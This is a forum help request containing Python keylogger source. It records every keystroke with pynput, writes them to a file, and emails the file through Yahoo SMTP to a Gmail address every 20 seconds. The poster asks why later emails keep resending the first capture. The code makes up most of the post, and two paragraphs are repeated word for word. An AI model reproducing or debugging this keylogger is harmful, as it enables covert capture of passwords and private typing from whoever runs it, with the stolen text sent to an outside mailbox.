Oct-29-2018, 04:23 AM
(This post was last modified: Oct-29-2018, 04:26 AM by jameseroni.)
So I finally got this to work, (to a degree). The text file from the key logging function is being logged just fine. It even attaches to the email (which I have pointing to the location of the text file) and will send as an attachment.
However, the process only works once - and after the first email has been sent, it continues to send the original text file regardless of what text has been added by the logger. This baffles me, because the logger has to be initiated in the first place to generate text- which the email DOES send initially. But it doesn't on subsequent emails. Any insight is appreciated.
Oh, also - notice that I did put a thread inside of the mail function. This initiates the logger function within the mail function, which needs the logger to go first so it generates an attachment - otherwise if there is no attachment there is error. Secondly, I have time.sleep for 5 seconds prior to attaching file, just to generate some keystrokes to create a file.
However, the process only works once - and after the first email has been sent, it continues to send the original text file regardless of what text has been added by the logger. This baffles me, because the logger has to be initiated in the first place to generate text- which the email DOES send initially. But it doesn't on subsequent emails. Any insight is appreciated.
from pynput.keyboard import Key, Listener import logging import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders import time import threading from pynput import keyboard def main(): def logger(): logs = [] log_dir = "" logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(message)s') def on_press(key): logging.info(str(key)) logs.append(key) f = open('your_log.txt', 'a') f.write('%s\n' % key) f.close() # Collect events until released with keyboard.Listener( on_press=on_press) as listener: listener.join() def mail(): email_user = '****@yahoo.com' email_password = '*****' email_send = '******@gmail.com' subject = 'Test' #Creating message object for email. Tying message object to variables above. msg = MIMEMultipart() msg['From'] = email_user msg['To'] = email_send msg['Subject'] = subject #Actual message. body = 'Hi there, sending this email from Python!' #Attach a file msg.attach(MIMEText(body,'plain')) #File path needs double slash here. Filename is reference variable to file location time.sleep(5) filename='C:\\Users\\JamesLaptop\\Desktop\\Python\\your_log.txt' #create attachment variable, open, filename and attachment=open(filename,'rb') part = MIMEBase('application','octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition',"attachment; filename= "+filename) msg.attach(part) text = msg.as_string() server = smtplib.SMTP(host = 'smtp.mail.yahoo.com', port = 587) server.starttls() server.login(email_user,email_password) #send message while True: try: server.sendmail(email_user,email_send,text) print("Success") time.sleep(20) except Exception: print("Message failed to send") server.quit() w = threading.Thread(target = logger) w.start() mail() main()
Oh, also - notice that I did put a thread inside of the mail function. This initiates the logger function within the mail function, which needs the logger to go first so it generates an attachment - otherwise if there is no attachment there is error. Secondly, I have time.sleep for 5 seconds prior to attaching file, just to generate some keystrokes to create a file.